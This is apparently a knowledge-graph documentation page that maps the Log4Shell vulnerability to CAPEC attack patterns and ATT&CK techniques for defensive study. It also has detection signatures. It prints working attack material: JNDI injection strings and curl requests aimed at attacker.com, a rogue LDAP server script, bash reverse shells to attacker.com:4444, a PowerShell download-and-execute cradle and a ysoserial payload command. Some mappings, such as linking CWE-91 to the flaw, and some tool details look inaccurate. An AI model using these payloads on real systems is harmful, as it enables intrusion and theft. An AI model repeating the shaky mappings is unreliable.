03 — Attack Scenarios: CAPEC Patterns to ATT&CK Techniques

Attack Chain Visualization

graph LR
    A["CWE-91<br/>Improper<br/>Neutralization"]
    B1["CAPEC-88<br/>OS Command<br/>Injection"]
    B2["CAPEC-242<br/>Code Injection via<br/>Lookup Expression"]
    C["T1059<br/>Command and<br/>Scripting Interpreter"]
    D1["T1059.001<br/>PowerShell"]
    D2["T1059.004<br/>Bash"]
    E["Initial Access<br/>Code Execution<br/>Defense Evasion"]

    A --> B1
    A --> B2
    B1 --> C
    B2 --> C
    C --> D1
    C --> D2
    C --> E

    style A fill:#8B0000,color:#fff
    style B1 fill:#FF6600,color:#000
    style B2 fill:#FF6600,color:#000
    style C fill:#0066CC,color:#fff
    style D1 fill:#0066CC,color:#fff
    style D2 fill:#0066CC,color:#fff
    style E fill:#00AA00,color:#fff

CAPEC-88: OS Command Injection

Attack Steps

1. Identify Target Application — Find Java application with logging endpoint (HTTP API, web form, email service, etc.)
2. Craft Malicious Payload — Create command that will execute on target:

   ${jndi:ldap://attacker.com/BasicEvilPayload}
   

3. Inject into Log Message — Send payload as part of request:

   curl "https://target.com/search?q=${jndi:ldap://attacker.com/BasicEvilPayload}"
   

4. Application Logs the Input — Application receives request, logs search query:

   logger.info("User searched for: " + request.getParameter("q"));
   // Logs: "User searched for: ${jndi:ldap://attacker.com/BasicEvilPayload}"
   

5. Log4j Processes Lookup — Log4j sees ${jndi: within message and processes it
6. JNDI Resolves Resource — JNDI initiates LDAP connection to attacker-controlled server
7. Attacker Serves Malicious Object — LDAP server responds with serialized Java object containing malicious code
8. Code Executes — Application deserializes object, triggering code execution in application context

Real-World Exploit Code

Simple Web Request:

# Vulnerable endpoint accepts query parameter
curl "https://vulnerable-app.com/search?q=${jndi:ldap://attacker.com:1389/Exploit}"

# Application logs: "Search query: ${jndi:ldap://attacker.com:1389/Exploit}"
# Log4j processes the lookup and connects to attacker's LDAP server

Attacker's LDAP Server:

#!/usr/bin/env python
# Using POC LDAP server (e.g., https://github.com/veracode-research/rogue-jndi)

import socket
from jndi_struct import create_evil_ldap_response

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(("0.0.0.0", 1389))
server.listen()

while True:
    client, addr = server.accept()
    # Receive LDAP bind request
    ldap_request = client.recv(1024)

    # Send back serialized payload that downloads and executes malware
    evil_response = create_evil_ldap_response("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")
    client.send(evil_response)
    client.close()

Real Incidents Using This Pattern

CAPEC-242: Code Injection via Lookup Expression

Attack Variation

While CAPEC-88 focuses on command injection, CAPEC-242 emphasizes direct code injection through the lookup mechanism:

1. Attacker crafts Java code — Instead of shell commands, inject Java code:

   Runtime.getRuntime().exec("cmd /c copy /Y \\attacker\share\malware.exe C:\\Windows\System32")
   

2. Encodes or obfuscates — Use JNDI deserialization gadget chains
3. Sends via Log4j lookup — Same mechanism as CAPEC-88, but different payload type
4. Code executes in JVM — Runs directly in Java process, giving attacker full JVM capabilities

Gadget Chain Exploitation

Known gadget chains (common Java libraries that can be exploited):

• Apache Commons Collections — Most reliable for RCE pre-2015
• JNDI Exploitation Kit (JExBoss) — Combines multiple gadgets
• ysoserial — Generates serialized payloads for various gadget chains

Example using ysoserial:

# Generate malicious serialized object
java -jar ysoserial.jar CommonsCollections5 'touch /tmp/pwned' | base64

# Use in JNDI lookup
${jndi:ldap://attacker.com:1389/[BASE64_PAYLOAD]}

# When deserialized by target, executes: touch /tmp/pwned

ATT&CK Mapping: T1059 (Command and Scripting Interpreter)

T1059.001: PowerShell

On Windows Systems:

# Attacker sends:
${jndi:ldap://attacker.com:1389/Exploit}

# Malicious LDAP response includes:
powershell -NoProfile -WindowStyle Hidden -Command "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')"

# Result: Downloads and executes PowerShell script

Impact: - Lateral movement (pass-the-hash, Kerberos delegation) - Credential theft (LSASS dumping) - Persistence (registry modification, scheduled tasks) - Defense evasion (Windows Defender bypass)

T1059.004: Bash

On Linux/Unix Systems:

# Attacker sends:
${jndi:ldap://attacker.com:1389/Exploit}

# Malicious LDAP response includes:
bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'

# Result: Reverse shell to attacker's server

Impact: - Remote shell access - Privilege escalation (sudo exploitation) - Persistence (cron jobs, rc.local) - Data exfiltration (scp, curl to attacker)

Detection in Real-World Attacks

Network Signatures

Defenders should monitor for:

1. Outbound LDAP Connections — From application ports to unusual destinations

   Source: 172.16.1.10:47234 (App Server)
   Dest:   203.0.113.50:1389 (Attacker's LDAP)
   

2. DNS Lookups for Suspicious Domains — JNDI often uses DNS lookup first

   Query: evil-payload-server.xyz (unusual domain)
   Source: Java process (pid 1234)
   

3. Process Spawning from Java — Child processes created by JVM

   Parent: java.exe (Log4j process)
   Child:  cmd.exe or bash
   

Tactics and Lifecycle

Within ATT&CK framework:

KGCS Context

In the KGCS graph:

CVE-2021-44228
  ├─ CAUSED_BY → CWE-91
  │
CWE-91
  ├─ DEMONSTRATED_BY → CAPEC-88 (OS Command Injection)
  └─ DEMONSTRATED_BY → CAPEC-242 (Code Injection)

[Both CAPEC patterns]
  └─ IMPLEMENTS → T1059 (Command and Scripting Interpreter)

T1059
  ├─ has_subtechnique → T1059.001 (PowerShell)
  ├─ has_subtechnique → T1059.004 (Bash)
  └─ part_of → Execution/Lateral Movement/Defense Evasion Tactics

Query this in KGCS:

MATCH (w:Weakness {cweId: "CWE-91"})
  -[:DEMONSTRATED_BY]->(ap:AttackPattern)
  -[:IMPLEMENTS]->(t:Technique)
  -[:PART_OF]->(tac:Tactic)
RETURN w, ap, t, tac

Next Steps

Read: 04 Detection Coverage — How to detect these attacks

Or Jump To: 05 Defense Playbook — How to prevent them

Sources: CAPEC-88, CAPEC-242, MITRE ATT&CK Framework, CVE-2021-44228 Analysis, Log4Shell POCs